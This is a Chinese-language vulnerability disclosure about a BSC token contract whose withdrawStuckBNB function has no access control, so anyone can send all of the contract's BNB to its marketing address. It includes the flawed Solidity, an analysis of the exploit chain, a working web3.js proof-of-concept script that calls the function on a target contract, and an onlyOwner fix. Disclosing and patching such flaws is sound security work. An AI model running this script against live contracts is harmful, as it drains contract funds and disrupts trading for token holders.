某合约任意提取BNB漏洞

1背景描述

合约是一个在满足特定条件时在区块链上执行代码的程序，各方以数字签署合同的方式准许并维护它的其运行。这些代码可以是向朋友汇款、买卖 NFT 虚拟商品等一系列复杂的内容。

存在漏洞的目标合约是一个结合Meme文化病毒式传播与去中心化金融（DeFi）的创新项目，旨在通过趣味性和实用性打破传统Meme代币的模式。

该合约的代币目前市值1400K（USDT），日均交易量150K（USDT）

2问题描述

该合约“withdrawStuckBNB”函数没有添加权限控制，攻击者可以通过调用“withdrawStuckBNB”函数，将合约内所有BNB转至营销地址“marketingAddress”，从而导致合约交易异常。

tips：

BNB是BNB链生态系统的原生代币，该系统包含BNB智能链（BSC）和BNB信标链。在BNB智能链上，BNB用于支付交易费用和参与网络的共识机制。BNB还被用作实用代币，使用户在Binance中心化加密货币交易所进行交易时获得交易费用的折扣。

BNB在这个合约中的作用包括：作为交易对的配对货币，用于支付交易手续费，流动性池的组成部分，以及手续费收入的分配媒介

3问题代码分析

function withdrawStuckBNB() external {
    bool success;
    (success,) = address(marketingAddress).call{value: address(this).balance}("");
}

在合约代码里面可以看到，withdrawStuckBNB 没有添加onlyOwner修饰，只有external修饰

tips：

Solidity语法中有4中默认函数修饰符
- public：最大访问权限，任何人都可以调用。
- private：只有合约内部可以调用，不可以被继承。
- internal：子合约可以继承和调用。
- external：外部可以调用，子合约可以继承和调用，当前合约不可以调用。

onlyOwner是该合约自定义一个修饰器，用于修饰函数，只有合约的所有者才能调用该函数。
这就意味着任何人都可以调用这个函数，将合约内所有BNB转至营销地址，导致资金被盗。

4后续利用链分析

从问题代码可知，任何人都可以调用这个函数，将合约内所有BNB转至营销地址marketingAddress

查看marketingAddress的代码，marketingAddress是一个营销地址，更新marketingAddress的代码如下：

可以看到，updateMarketingAddress函数存在onlyOwner修饰，只有owner可以调用这个函数，这就意味着只有owner可以更新marketingAddress的地址。所以利用链到此截止，攻击者只能调用withdrawStuckBNB将合约内的BNB转至marketingAddress，但是marketingAddress本身只能由owner更新，所以攻击者无法更新marketingAddress的地址，从而无法将BNB转至攻击者的地址，但是漏洞也能造成合约内BNB的清空，影响合约运行。
5构造POC

const Web3 = require('web3');
// // 初始化 Web3 实例，这里使用测试网的地址，你可以根据实际情况修改
const web3 = new Web3('https://data-seed-prebsc-1-s1.binance.org:8545');
// const web3 = new Web3('https://bsc-dataseed4.binance.org/');
const contractABI = ["""换成完整ABI"""];
const contractAddress = "0xaaaaa"; // 替换为目标合约地址
const contract = new web3.eth.Contract(contractABI, contractAddress);
console.log("connect success");
// 如果使用 Node.js，需要添加私钥
const privateKey = '0xbbbbbbbbbbbbbb'; // 替换为你的私钥
const account = web3.eth.accounts.privateKeyToAccount(privateKey);
web3.eth.accounts.wallet.add(account);
async function withdrawBNB() {
    try{
        console.log(account.address);
        const tx = {
            from: account.address, // 必须使用真实地址
            to: contractAddress,
            gas: 300000,
            data: contract.methods.withdrawStuckBNB().encodeABI()
        };
        // 估算 gas
        const gas = await web3.eth.estimateGas(tx);
        tx.gas = gas;
        // 获取当前 gasPrice
        const gasPrice = await web3.eth.getGasPrice();
        tx.gasPrice = gasPrice;
        // 签名并发送交易（Node.js 方式）
        const signedTx = await web3.eth.accounts.signTransaction(tx, privateKey);
        const receipt = await web3.eth.sendSignedTransaction(signedTx.rawTransaction);
        console.log('Transaction Hash:', receipt.transactionHash);
        console.log('Receipt:', receipt);
    } catch (error) {
        console.error("Error:", error);
    }
    console.log("2");
}
withdrawBNB();
console.log("3");

6修复方案

在withdrawStuckBNB函数中添加onlyOwner修饰，只允许owner可以调用这个函数

function withdrawStuckBNB() external onlyOwner {
    (bool success,) = marketingAddress.call{value: address(this).balance}("");
    require(success, "Transfer failed");
}

该漏洞目前已向相关单位和厂商报送并已推出补丁，使用此漏洞造成的任何攻击影响均与本文作者无关。

相关文章

微信